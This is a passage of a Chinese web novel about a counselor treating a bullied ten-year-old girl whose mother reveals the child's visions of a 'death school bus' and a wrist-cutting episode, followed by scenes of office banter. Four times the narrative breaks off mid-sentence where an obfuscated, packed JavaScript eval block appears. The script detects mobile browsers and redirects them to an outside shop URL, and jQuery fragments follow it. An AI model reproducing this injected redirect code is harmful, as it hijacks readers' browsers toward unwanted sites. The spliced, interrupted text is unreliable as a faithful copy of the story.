柳南絮想到同福安安说话的时候,小孩表现得相当谨慎,直到听见自己说宋彩彩在太阳花幼儿园上班,他破天荒地笑了。
福安安和宋彩彩之间会是什么关系呢?
柳南絮把新的疑惑点写上,今天的总结到这里也就做完了。
书房内的环境色把亮白色的灯光染暗,这样的环境,很难有一个好心情,更别说本来心情就不好了。
已经落灰的厚重窗帘终于被主人拉开,玻璃窗户连带窗纱一起推开,夜晚的空气迅速拥挤进来。
没过一会儿,大人的呵斥声和孩子的哭闹声阵阵传来,这种情况很常有。柳南絮的心情本来就被成团的迷雾搅和得不怎么好,现在丝毫没被外面的吵闹影响,他照旧杵在窗边眺望远方。
不知过了多久,玄关处传来钥匙开门的声音,屋门打开又被关上,柳洪兵的声音传来。
“吴老师天天这样训孩子没事吗?”
“之前有老师私底下劝过她,但是不管用。”许静倒了杯水,喝了两口又说,“她大女儿走的那么突然,希望可就在小儿子身上了。”
许是觉得有点背后嚼舌根,二人迅速终止话题。
听见许静的话,柳南絮下意识地往楼下看去。
他家位于三楼,吴老师家在一楼,两家上下正对着,向下瞅不太现实。
柳南絮没硬要看见什么,下意识的动作感觉就是为了满足自己的好奇心。
好奇心得到满足后,他收回目光,重新站好。同时,楼下的训斥声终于停了,接下来只剩下小孩子的哭喊声。
实在受不了叫魂般的哭喊声,玻璃窗被关上,厚重的窗帘再次被主人拉动,过程中很不满地抖落下几粒灰尘。
在空中游荡良久的灰尘,柳南絮看都没看见,揣起电脑桌上的手机和新记录本直接关灯回卧室睡觉。
周三上午的来访者中有孙万谦,他依旧早早抵达心理咨询工作室,说话做事还是着急忙慌的,以至于在上楼梯转弯的时候险些和刘景撞上。
人倒是都没事,不幸的是孙万谦的手机,在躲避过程中脱离主人的手掌,掉到了地上。
刘景弯腰帮忙捡了起来,笑着说:“你检查一下,看看有没有事。”
孙万谦接过后一边道谢,一边低头检查屏幕,手自然而然按亮了屏幕。
大概是因为亮起来的屏幕下是一张幸福美满的全家福,以至于刘景的目光不自觉在上面短暂地停留了一下。
孙万谦快速地检查了一下,把手机装进口袋,乐呵呵地说:“没摔坏,谢谢刘老师了。”
刘景迅速从不易察觉的走神中回神,很自然地接话:“没事,我看时间到了,你进去吧!”
一件小插曲迅速过去,甚至不曾被第三个人知晓。
没别的原因,事情太小太无聊了。
时间被充实的工作带到周五,这天上午的来访者中有路灵灵小朋友,上周五没让她来是因为周一的晚上去过她家了。
这次来,她先在妈妈的陪同下进了柳南絮的办公室,之后单独和柳南絮进了咨询室。
小姑娘看起来状态有所好转,说明上次在她家里和她聊的话都听进去了。
坐定后,柳南絮调整出一个舒服的坐姿,问:“灵灵,这次你想同我分享些什么事呢?”
在第一次的接触中,柳南絮就发现路灵灵小朋友非常渴望获得尊重,所以这个问题,他每次都要原封不动地询问一遍。
几次下来,这个开场白的效果在路灵灵的身上体现的确实不错,有在起着积极引导小姑娘讲述心事。
“其实我原本以为自己可以处理好的,我不再在考试上拔尖,不再穿漂亮的衣服,不再炫耀好玩的文具,想着这样就可以降低自己的存在感,减少大家对我的恶意。”
“可是他们只会越来越过分,我实在不知道该怎么办了,更想不明白,到底怎么样他们才会放过我。”
“后来你教我学会反抗,不要一味忍让,本来我很害怕,尝试后发现确实有用。”
路灵灵低着头,讲了很久校园霸凌对她的伤害,最后抬头望向柳南絮,说:“其实,相比起同学对我的行为,我更讨厌父母和老师,我明明有向他们求救,虽然不太明显,但是……”
眼前的小姑娘眼睛中涌出眼泪,擦掉后委屈地问:“他们注意到我的变化也太慢了吧?”
柳南絮把玻璃桌上的抽纸轻轻往路灵灵手边放了放,等她把眼泪擦干净,才开口:“我很理解你的心情,知道等待的过程确实很难熬,既然不想被等待左右,那该怎么做呢?”
路灵灵很积极地接话:“直接开口表达。”
柳南絮赞赏地看着她,认可道:“对,今后再遇到问题不妨直接说,哪怕尝试尝试也可以,你觉得怎么样?”
路灵灵再次把头低下,抠着手,道:“那会不会说明我是个笨蛋啊?我总觉得自己可以处理好。”
柳南絮很温柔地劝导:“孩子,寻求帮助并不代表你成为了弱者,那恰恰说明你找到了解决问题的办法。”
“我明白了。”路灵灵苦恼地又说,“其实我之所以不敢开口告诉父母和老师,是觉得他们不会站在我这一边,说了也白说。”
这个问题很常遇到,柳南絮便问
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187545|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“在你的设想中,告诉父母和老师后,他们会怎么处理呢?”
“老师会随口批评几句那些欺负我的同学,父母的话,”路灵灵叹了口气,身上的劲跟着松了一下,“我父母工作很忙,我以为和他们说了,他们要么让我忍让,要么认为是我的问题,根本不会当回事。”
柳南絮得到的回答大多数都是这个,觉得就算说了也是白说。
他引导着问:“实际上他们是怎么解决的呢?”
“父母找到校领导和老师,还有那些学生的家长们,态度很坚决的让他们给我赔礼道歉。”
路灵灵说完,默默低下了头。
柳南絮趁着小姑娘的状态好,赶紧往下说道:“你看,你也发现了,你的父母态度很坚决,他们并没有不当回事,没有认为是你的问题,让你忍让更不存在,这说明什么?”
路灵灵顿悟般抬起头,回答:“我的爸爸妈妈很爱我。”
“没错,你的爸爸妈妈很爱你,很重视你。”柳南絮肯定了路灵灵的话,“之前你和我说过,他们平时工作很忙,都不怎么喜欢陪你玩,你从小到大经常上各种兴趣班,我很好奇,你喜欢上的那些兴趣班吗?”
路灵灵点点头,说:“那些兴趣班都是我自己想上的,我告诉爸爸妈妈后,他们就会给我报班,让我去学。”
“哦!是这样啊!”柳南絮由衷道,“看来你的爸爸妈妈很尊重你的想法,并且也很支持你的决定,说不定他们不是不想陪你玩,而是觉得你很忙,所以没能表达出来。”
听到这话,路灵灵不敢相信,说:“怎么会!我觉得他们才很忙的。”
柳南絮依旧坚持着,继续引导:“或许问题就是出现在了这里,你觉得他们工作很忙,没时间陪你玩,他们觉得你学习很忙,没时间陪他们玩。”
路灵灵眼睛瞪得更大了,再次问:“怎么会?”
柳南絮要的就是这种反应,提出建议:“不如这样,你有时间的话和他们谈谈心,怎么样?你应该很久没和他们好好说说话了吧?”
路灵灵像是做错事被抓包了一样,隔了一会才轻轻说:“好。”
话题像是断开了,柳南絮出声又问:“父母的态度很坚决,那老师们的态度呢?”
路灵灵乖乖回答:“学校召开了‘校园霸凌’的主题班会,还开了一场家长会,在大会上点名批评了最先欺负我的同学,老师私底下也找他们谈话了。”
柳南絮很真诚地总结:“你看,你所担心的问题全都没有发生,大家都在好好保护你。”
大概是因为自己不好的猜疑,路灵灵有些愧疚,小声说:“我现在知道了。”
咨询室狭小却极具安全感,仅有的一小扇窗户是开着的,外面和煦的风把拉合的白纱吹得微微拂动,阳光更加明目张胆地顺着缝隙钻进来,甚至还结伴蹦跶到人类的身上。
一切似乎都很合时宜,柳南絮终于问出一个必须要弄清楚的问题。
35. 第三十五章
“所以,你现在愿意告诉我上个星期晚上为什么会做那么危险的事吗?”
那天晚上,小姑娘从头到尾都没有透露为什么会做过激的事情。柳南絮也主动问了,路灵灵听到只是沉默,什么都不肯说。
柳南絮见她不愿配合的样子,实在没办法强行追问,所以只是依照“校园霸凌”同她聊了很多。
只要不再提过激行为,路灵灵每句话都能听进去。
当时路灵灵的表现让柳南絮都觉得,只要再追问一次就能知道答案,但同时他又很清楚,那只是自己的错觉,于是一直等到小姑娘再来咨询才问。
“我……”路灵灵没再保持沉默,想了很长时间才开口说话,仅仅说了一个字,再次停顿了很久。
在她停顿的过程中,柳南絮只是耐心地等着。
连挂在墙上的钟表都保持着安静,秒针在表盘上一圈一圈飞快地跑着,每转一圈就把分针拖动着走一下。
终于,路灵灵开口回答了。
“不愿意。”
很坚定。
很让人失望。
柳南絮没再立刻说话,他像是在给自己思考的时间,又像是在给路灵灵继续往下说的时间。
总之,情况不太妙。
柳南絮之前不是没有遇到过这种情况,正是因为遇到过,所以眼下并不能称得上“突发状况”。
也就是说,他完全可以运用以前的技巧打破稍微冷掉的场面,但柳南絮根据路灵灵的状态判断出,自己最好什么都别说。
路灵灵不停地在抠手指甲,指甲盖往上抬一下再抬一下,在安静的环境下发出引人注意的声音。
也不知道她想到了什么,瘦小的身子打了个寒颤,突然站起身,丢出一句:“我想结束了。”
“好的!那我们这次先聊到这里!”柳南絮没有阻拦,也跟着站起身,“下次咨询还定在周五的这个时间,可以吗?”
路灵灵咬了咬牙,匆匆点点头,慌里慌张地跑出咨询室。
看着小姑娘的背影,柳南絮皱起眉,很快又展开,拿上文件夹走出咨询室,状态还是平常面对来访者时的状态,毫无半点心事重重的样子。
路母看到女儿出来先愣了一下,随后看向柳南絮,像是在询问这次怎么结束得这么早。
柳南絮简单几句话打了个圆场,路母便笑呵呵地带着路灵灵离开了。
一天的工作掐着时间照旧往下进行,咨询师在短时间内迅速整理好自身情绪,时刻准备同来访者共同面对难题。
咨询室的门被打开又被合上,咨询电话被接通又被挂断,时针挪动着来到了正午。
外卖员准时提着餐推开门,李乐喜滋滋地迎上前,刚接下外卖道过谢,玻璃门再次被人推开,定眼一看,是路灵灵的母亲。
李乐放下外卖,站起身问:“路妈妈,请问您是……”
路母不好意思地笑了笑,说:“我来找柳老师。”
吃饭的时间点,柳南絮要是忙完的话,一般会先下来吃饭,要是没下来,说明还在忙。
李乐了然,道:“柳老师现在在忙,您先在这边等一下吧!”
路母忙点头,回应:“好好好,实在打扰了。”
二楼的某间办公室内,柳南絮确实在忙,临近中午下班的时候,他正准备关闭系统坐等吃饭,偏偏赵安梦给他接了一单电话咨询,就跟卡着时间接的似的。
处理完,柳南絮看了一眼时间,已经十二点半,饿过了头,便又把记录做好才下楼吃饭。
路母听见脚步声立刻从小沙发上站起来,同来人打招呼:“柳老师你好!”
几乎是在看到路母的同时,柳南絮就已经把状态紧绷起来,他清楚对方是做什么来的,和善地把招呼打回去:“灵灵妈妈你好!”
“我,那什么……”路母不自觉偷偷瞄了一眼李乐,“我想和你聊聊。”
看出对方很紧张,柳南絮笑着说:“当然可以,我们到咨询室聊吧!”
路母面容舒展了一下,向前走着,嘴上满是歉意:“真的实在不好意思,耽误你吃饭了。”
“不是什么大事。”柳南絮带着路母往咨询室走。
咨询室还是那个样子,但是每位来访者初次踏进来的反应都有细微的差别,即便是同一位来访者,每次来的反应也并不一样。
之前路母只是在门外看过里面的设施,没有进来感受过,现在第一次进来,再加上本来就因为耽误柳南絮吃饭而不好意思,所以更加小心谨慎。
柳南絮让路母坐下,见对方的顾虑相当明显,站起身帮她接了杯水。
回来坐下,把水杯递给路母的同时,道:“没关系,想和我说什么都可以。”
路母陷在自己的世界里权衡利弊,做出的反应只是下意识的。
玻璃杯里面的水并不凉,是从饮水机里面接的温开水。但当路母伸出手去接水杯,指尖触碰到玻璃的时候,感觉皮肤被冰了一下,整个人一激灵,清醒了。
终于察觉到自己的走神,路母连忙双手接过说:“哦!好,谢谢。”
柳南絮顺着往下说:“不客气。”
路母像是真的渴了,喝了几口水才开口:“其实本来在灵灵结束咨询的时候我就想说了,可是她在场,没办法说,我把她送到学校后本来是想着立马过来的,可我不确定说了那事对女儿会不会有什么影响,所以就又犹豫了。”
柳南絮没有询问是什么事,而是问:“你认为说了那件事,会对灵灵有什么影响呢?”
“你是心理咨询师,我怕告诉你以后,你会判定我的女儿是精神病,灵灵她是个轴性子,肯定不会松口,万一事情闹大,你们这些专业人士要把她送到精神病院可怎么办?我就她这么一个孩子。”
路母慌里慌张地说完,又实在害怕结果会真像所想的这样可怕,忙拿起水杯喝了几口压惊。
柳南絮没做任何承诺,继续问:“那是什么原因让你还是来了呢?”
“我…
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187546|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…”路母垂下头,很沮丧地说,“我回家之后看见灵灵上次做傻事的那把水果刀,我不希望女儿痛苦难受,她才十岁,怎么能承受那么多?先是校园霸凌,又是乱七八糟虚假的记忆,我就她这么一个孩子,只希望她好好长大,可是她已经不愿意同我们说太多了,我实在没办法了。”
路母两番话都表明自己只有路灵灵一个孩子,话里话外都透露着对孩子的爱护,还真是可怜天下父母心。
“好的!我清楚了,首先很感谢你能来找我聊天,我愿意尽全力地帮助灵灵健康成长。”柳南絮很温柔地说着,眼带笑意观察路母的状态,像是一个极有耐心的狩猎者。
他在等待可以精准扑到关键信息的时机。
玻璃水杯内的水很快见底,柳南絮没有再起身接水,路母也没要求喝水,把空杯子放下后便没碰过了。
大片阳光从窗帘下面透进来,这位年轻的妈妈尽可能地缩在单人沙发的最角落,完美地躲过所有溜进来的阳光的照射。
她是在害怕,还是在保护?
害怕又是害怕什么呢?
保护又是保护什么呢?
过了许久,路母才开始慢慢讲述让她担心的那件事。
路灵灵在同小区有个玩得很要好的朋友,对方也是位小女孩儿,比路灵灵要小一岁,只是在五年前,小女孩儿因意外不幸去世了。
明明去世的原因就是因为被钢丝绳割破了喉咙,可是路灵灵偏偏说什么她是在校车上出的事。
更可怕的是,路灵灵还说不光是那位小女孩儿,校车上的所有人都死了。
说到这里,路母感觉无比荒唐,两只手往前面一摊,说:“根本就从来没有发生过那样的事。”
柳南絮肯定路灵灵说的就是死亡校车,内心因这一发现掀起巨浪,强装镇定,问:“灵灵是什么时候告诉你的呢?”
“其实,很早之前她就说过。”路母对上柳南絮的眼神,意识到对方想听具体的时间,妥协地说道,“五年前。”
路灵灵当时在太阳花幼儿园上大班,早上路母送她去学校,经过南巷街时路灵灵突然尖叫了一声,指着前面大喊死人了。
那天起着大雾,路母瞅了好长时间却什么都没有看到,再加上路灵灵的状态非常不好,所以路母就连忙先带她去了医院。
身体检查完一遍后没发现有什么问题,医生认为可能是压力太大导致产生了幻觉,就给开了些安神的药物,叮嘱要让孩子好好休息。
回到家,路母照顾着路灵灵吃了药躺下睡觉,还自责是不是因为把孩子逼得太紧才会出这种事。
大概是药物起到了作用,路灵灵睡得很熟,醒来后也没有任何异常的举动。
下午的时候,路母带路灵灵到小区下面的草坪上玩。
由于已经到了放学的时间,小女孩儿正好也在那里玩。
路母知道她们两个很要好,所以当即抬起手同人家打招呼,想着两个小朋友一起玩,心情也会变好。
36. 第三十六章
没想到路灵灵拽着路母的衣摆,很骇人地说:“妈妈,你看错了,她不在那里,她今天早上在校车上就已经死了。”
路母确信没有看错,于是万分惊恐地看向自己的女儿,吞了吞唾沫,调整好面部表情,蹲下去温柔地开导。
“乖乖,你才看错了,你早上看到的都是幻觉,你生病了,不过没关系,妈妈以后都不给你布置那么多任务了,这样很快你的身体就能好了,我们只要健健康康的就可以了。”
路灵灵迟疑了一下,又看向路母刚才打招呼的方向,揉了揉眼睛,很快便说:“哦!我看到了。”
路母轻轻地笑了笑,实际一点都不放心,往小女孩儿在的方向望了一眼,看见对方已经看了过来,问女儿道:“那要过去和她玩吗?”
“不要。”路灵灵拒绝得很干脆果断。
路母被噎了一下,却也只好依着。
小区内有片小池塘,旁边有沙坑和小型滑梯可以玩,孩子们都喜欢去那里。
路母带着路灵灵到那边玩,还没走几步,就听见几声惊呼。
路母立刻转身看去,结果看见那个小女孩儿被人群包围着,有人开始慌里慌张地打急救电话,有人开始通知小女孩儿的家属。
鲜血顺着小女孩儿的脖子流到草坪上,红色的血浆打红了绿色的草坪。
急救车来得很及时,可惜小女孩儿还是离开了。
小女孩儿下葬那天,路母想着自己女儿和她玩得那么好,总要有表示,便同路灵灵提议去陵园探望,没想到再次遭到拒绝,理由是……
路母停下不说了,她实在还是想不明白,自己女儿怎么会产生那么大的幻觉呢?
柳南絮开口追问,道:“理由是什么呢?”
“灵灵说她朋友的去世原因根本就不是我们说的那样,所以不愿意去。”说话的时候,路母双手已经开始微微颤抖。
柳南絮清楚肯定还发生了什么,问:“后来呢?”
“后来灵灵就照常上学,也没再出现幻觉,只是从来没有提到过小女孩儿。”
“我和她爸爸想着不提就不提吧,只要孩子健康,所以我们平时什么都依着她,她喜欢的东西不论价格高低,想上的兴趣班再贵,都给她买,都给她报,花销提上去了,我们当家长的只能更加卖力赚钱。”
路母叹了一口气,整个人看着就很疲惫。
她缓了缓,又接着说:“不然我们也不会那么晚才注意到孩子在学校遭受到了霸凌。”
柳南絮给出个人评价,夸赞道:“路妈妈,我个人认为,你已经是一位很负责的妈妈了,所以,你可以减少一点自责感,用平常的心态尽可能多陪伴孩子就好了。”
“谢谢!”路母眼眶中涌现出眼泪,听柳南絮的话受到了很大的鼓励。
事情不会就此结束,再后来肯定还发生了什么,这次柳南絮没有立刻追问,拿上玻璃水杯站起身帮路母接了杯温水。
路母坐在原位,眼神并没有追随柳南絮挪动,而是跌进了自己的回忆里。
玻璃和玻璃的轻微碰撞声让路母迅速回神,她双手慢慢搓着,看向柳南絮的目光逐渐从犹豫变成了一种走投无路的妥协。
“柳老师,灵灵有没有告诉你她做傻事的原因?”
柳南絮没有回答,而是反问:“你是有什么想和我分享的消息吗?”
路母了然,说:“其实在你的帮助下,校园霸凌对灵灵的伤害已经很轻了,之所以做那么冲动的事,是因为受到了新的刺激,不过也不算新的。”
柳南絮配合地问道:“那是?”
“她说她又看到了校车。”
此时阳光又往路母的身上偏了偏,路母低头看到了,想躲,可是人已经坐在最边上,没地方挪了。没办法,她只好把衣摆拿在手上,尽可能地少接触阳光。
柳南絮揣着明白装糊涂,问:“校车有什么问题吗?”
“不是现在的校车,”路母慌里慌张地接话,说完苦恼地望向柳南絮,“她说她看到的是五年前看到的那辆校车。”
路灵灵割腕的那天早上,路母送她去上学,经过南巷街的时候,路灵灵在电瓶车后座突然惊恐地抱住路母的腰,路母连忙刹车停下询问怎么了。
路灵灵指着一个方向,嘴里不停地念叨“校车又出现了”。
路母顺着路灵灵指着的方向看去,别说是五年前的那辆校车了,一整条街上都没有出现哪怕一辆校车的影子。
路灵灵的状态比上次还要不好,路母带着她去医院开了些药,回家想着让她吃了好好睡一觉,醒来或许就没事了,就像五年前那样。
这次回到家后,路灵灵把医生开的药全都摔了,怒吼着:“为什么你们都看不到,明明就是有,车上所有人都死了,我的好朋友就在里面,她根本就不是你们说的被钢丝割破了喉咙,她是在校车上死的。”
小区房子不怎么隔音,路母害怕被邻居听到,连忙把门窗全部关严,又打电话把路父叫了回来。
两人轮番上阵安抚路灵灵,直到下午,小姑娘的情绪才慢慢稳定下来。
“不对,她不是稳定,”路母后怕似地摇了摇头,“她太平静了,我早就该意识到的。”
把原本的话改好后,路母继续往下讲。
路灵灵的情绪平静下来后,路母照顾着她吃了药躺下睡觉,看着人睡着后到厨房做饭,路父被一通电话叫出了门。
晚上五点多,路灵灵醒来,正在烧热水的路母表示想陪她玩,遭到了拒绝,水刚好烧开了,关火的时候路母从余光中看到路灵灵在客厅转悠了一圈又回了卧室。
没过一会儿,路父处理好工作上的事赶回来陪女儿,开门开不动,敲门也没人应,一想到女儿的状态,急忙忙找备用钥匙。
房门被拉开,站在门外的两个大人迅速看到门内危险的画面,路灵灵右手拿着水果刀正在往左手手腕上划。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187547|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>路父冲进去一把夺走了水果刀,可是路灵灵的情绪太过激烈,又是夺水果刀,又是撞头的,为了控制她,只好和路母一起把她绑在了椅子上。
二人苦口婆心劝了很久,路灵灵连一个字都不肯说,没办法,这才联系了柳南絮。
把事情的来龙去脉说清楚后,路母已经完全暴露在了阳光里,她的胳膊肘抵在腿上,弯着腰,低着头,用双手托着脸,懊悔地说:“都怪我没有听到房门反锁的声音,要是我听到就好了。”
“没关系,万幸没事就好。”柳南絮把水杯拿起来递给路母,“喝口水吧!”
路母接下,道了声谢。
等她停止喝水的动作,柳南絮开口问:“这种情况出现过几次?”
路母回答得很快,几乎是在柳南絮问完就立刻接话,说:“两次,五年前那次,上周一那次,除了这两次,灵灵没再提过了,不管是在家还是在校情绪都很稳定,行为方面也没出现任何异常。”
柳南絮想了想,问:“再经过南巷街灵灵有什么强烈的反应吗?”
路母回答:“没有。”
既然这样,两次之间一定有着某种联系,柳南絮又问:“她往她指给你的方向看过吗?”
“可能看过吧……”路母解释说,“家离学校有些远,平时我都是骑电动车送她上学,没有车镜,灵灵坐在后座,我看不到她,如果扭头看的话动作太大,我怕她多想。”
停了片刻,柳南絮看了一眼时间,礼貌地问道:“请问除此之外,还有想告诉我的吗?”
路母也跟着看了一眼时间,看到已经过去很长时间后,不免又紧张了一下,忙说:“没了,我来就是为了把这件事告诉你。”
“好的!我了解了,非常感谢!”柳南絮说完,站起身。
路母也赶快站起身,接话:“不用谢,我只是希望孩子以后不会再出现那么吓人的反应,还有就是……”
这位母亲及时把话停住,看着柳南絮在脑海里面又迅速组织了一下语言,终于把话补全。
“灵灵她这种情况,不会被关起来吧?”
柳南絮轻轻笑了笑,表示道:“首先,我只是一名心理咨询师,并没有你说的那种权力,如果到了有必要去精神科诊断的时候,也是看你们的意愿,我是不能强制要求的,况且我相信,灵灵她一定可以好起来的。”
路母脸上一下子绽开笑容,拍着心口念叨:“那就好!那就好!这下我就放心了。”
把路母送到一楼看着人走远后,柳南絮又要往楼上走,李乐及时把他拦下,道:“柳老师,你的午饭。”
“谢谢。”要不是李乐提起,柳南絮还真给忘了。
好在下午没什么工作,柳南絮扒着没有一点热气的饭在心里把思路理顺。
他和莫宁调查的目的主要是为了弄清楚死亡校车到底是怎么回事,所以目前的侧重点是调查死亡校车上的受害者,希望从中找到凶手的线索。
37. 第三十七章
在这之前,因为死亡校车可以行驶,导致他迟迟没有想过一个问题——死亡校车的第一案发现场在哪里?
倘若路灵灵在五年前看到的是案发现场,那就说明死亡校车出事的时间确实是在五年前,自己并没有算错时间,而是宋彩彩的成长轨迹在别人的记忆中出现了严重偏差。
要想让这种可能得到证实,目前有两个人选,一个是福安安,另一个是路灵灵。
路灵灵和自己的关系是咨访关系,中间存在保密原则,就算之后她讲述了来龙去脉,也不能和第三个人讲,但到时候肯定是要告诉莫宁的,所以还是找福安安比较合适。
再和全健福利院那边预约一次吧!
正这样想着,座机电话响了,是赵安梦那边打来的,有了新的预约。
挂断电话,柳南絮只好先忙工作。
只是没想到这一耽搁,险些没想起来。
晚上下班之后,赵安梦和李乐在一楼闲聊,柳南絮从办公室出来正好碰见刘景,俩人打了声招呼一前一后下楼。
本来柳南絮对赵安梦和李乐聊的话题没什么兴趣,一只脚都已经迈到了玻璃门外面,听到李乐在里面兴奋地说:“你明天是不是要去福利院了?”
“是啊!”赵安梦摆弄着新做的美甲,漫不经心地说,“福利院组织了春游活动,所以这几天不接受预约了,还好我预约得早。”
赵安梦的话音刚落地,柳南絮当即拐了回来,问:“那你明天去的话,可不可以带上我一起?”
人家两个姑娘正聊着天,冷不丁被柳南絮插上这么一句,差点都没反应过来。
赵安梦并没觉得有丝毫问题,答应道:“好呀!”说完才八卦起来,“但是你不是才去过吗?难道里面有你特别喜欢的孩子?”
“里面的孩子都很好,”柳南絮又说,“不过确实有一个我比较感兴趣。”
李乐看了一眼时间,又开始对着镜子摆弄妆容,顺嘴说:“可是明天周六哎!”
周六,不是柳南絮休息的时间。
一直乐呵呵坐在沙发上等着两位姑娘聊完好锁门的刘景终于开口:“没事,明天的网上预约我自己来处理就行。”
“哎!”李乐刚把口红抹到嘴上,听见刘景的话立马站起来探头问,“老板,要是我也想去的话,您可不可以顺带着把前台的事也给处理了?”
刘景还是乐呵呵的表情,提醒道:“小李,提醒你一下,你目前还是实习期,过几天就要转正了,你说万一我顺带着处理发现自己一个人做这些事毫无压力,你可该怎么办?”
怎么聊个天都能把快要到手的工作给聊没?李乐瞬间蔫了,把脑袋缩回去说:“那还是算了,我可不想自己砸自己的饭碗。”
“时间是在下午两点到五点,需要提前出发,我和姨妈定在了一点。”赵安梦同柳南絮说着计划好的时间,让柳南絮思考这个时间段有没有提前预约好的来访者。
对于哪个时间段预约的有来访者,柳南絮铭记于心,在心里排查了一遍,确定道:“这个时间段没问题。”
“那明天我们在全健福利院门口汇合吧!如果我到了没见到你的话给你打电话。”
赵安梦知道柳南絮的时间观念很强,最后的话只是平时和朋友说多了,这次顺嘴也说了,算是一种个人习惯。
“好。”柳南絮打了声招呼,重新往门外走。
这次他顺利走出去了,只是没走多远再次拐回来,问赵安梦道:“要是我再带一个人,有问题吗?”
“你的朋友吗?”赵安梦还没见过莫宁,所以不知道她。
柳南絮点点头,说:“不过我还没告诉她,不确定她会不会去。”
赵安梦还是头一次见到柳南絮做不确定的事,稀奇地说:“打个电话问问呗!反正不耽误事儿。”
柳南絮看了一眼时间,说会发消息询问。
既然这样,赵安梦也没再强硬要求,表示多带一个人没问题,要是确定对方去的话发个消息,她好提前告知全健福利院那边。
再次表示感谢道了别,柳南絮没再突然拐回来。
李乐收拾妥当,提起包看见刘景坐在那里望着柳南絮走远的背影,开玩笑道:“老板,你这样真的很难不让我误会你在舍不得柳老师。”
“是啊!那么好一个员工,换哪个老板都会舍不得吧?”刘景收回目光站起身来,微笑地看着李乐说,“你的话,别说请假半天了,哪怕是不干了,我都不一定会挽留你。”
李乐当即板起脸,说:“夸人别拉踩人好不好?改明儿我真请假给你看信不信?”
“我不给批你信不信?”刘景说完又催促道,“开个玩笑,真有事的话还是给批的,我可不是无良老板,所以快点吧!我这个锁门工等着锁门呢!”
李乐刚转身,迎面就看见一个十分有范儿的男人推门进来,整个人一下子起来,用眼神询问刘景是谁?
李乐的表现在周言颂眼里十分明显,所以故意逗小姑娘,问:“这么激动,难不成你见过我?”
不等李乐开口,刘景抢过话头,说:“你想多了,她那是气的,以为下班时间又来人了。”
“是吗?”周言颂不相信,还准备逗李乐。
“不然呢?”刘景绕开挡在前面的人,拉着玻璃门问,“所以走不走?”
周言颂立刻转身回道:“走。”
刘景把车钥匙抛给周言颂,说:“你先去车里等我,我锁门。”
接下钥匙,周言颂看了李乐一眼,冲小姑娘笑了笑,再抬起胳膊顺手拍了拍刘景的肩膀,然后才去找车。
李乐还站在原地,都快要把眼睛笑没了,向刘景打探道:“老板,这是你的朋友?”
“先出来,我锁门。”
等李乐走到玻璃门外停下,见人还不打算走,刘景提醒道。
“我一眼就看出你在想什么,照他自己的话说,他是富N+1代出身,和你的年龄也相差
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187548|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
太大,所以别瞎想了,你招呼不住。”
李乐好奇地问:“他几岁了?”
刘景锁着门,回应:“和我一样,三十。”
“那确实相差太大,可惜了,梦破灭的可真快。”
说完,李乐摇着脑袋叹了一口气。
刘景锁好门,最后提醒她:“这就告诉你找对象要擦亮眼睛,先走了。”
周言颂今天之所以找来,是因为刘景在昨天和他商定了还那顿饭。
照旧是刘景开的车,周言颂还是坐没个坐样的懒散劲儿,问:“打算请我吃什么呀?要是你不知道的话,我知道有一家店菜品佳,味道好,给你推荐一下?”
知道人家是在开玩笑,刘景也用玩笑话接上,说:“可别,能得你这么高评价的店,不用想也知道肯定不便宜,你还是帮帮忙给我省点钱吧!”
“讲真的,兄弟,就你在店里的反应,要不是了解,我差点以为什么时候把你给得罪了,你就跟不欢迎我似的。”周言颂说话的时候明明看得是前面,却给人一种被盯着的错觉。
刘景笑笑,说:“你想多了,主要是那小姑娘太过花痴,见一个爱一个,我这不是怕最后不好收场嘛!”
周言颂歪了一下脑袋,看向刘景,见对方在笑,也跟着笑,说:“真不是我说你,你这个老板当得太护犊子了些,那学弟你是看中了实力,这小姑娘呢?从她身上又看到了哪些优良品质?”
“挺会活跃氛围算不算?”刘景把油门往下踩了踩,“问这么多,怎么,真对人感兴趣?”
周言颂还看着刘景,连表情都没改变丝毫,问:“感兴趣的话你愿意帮忙搭线吗?”
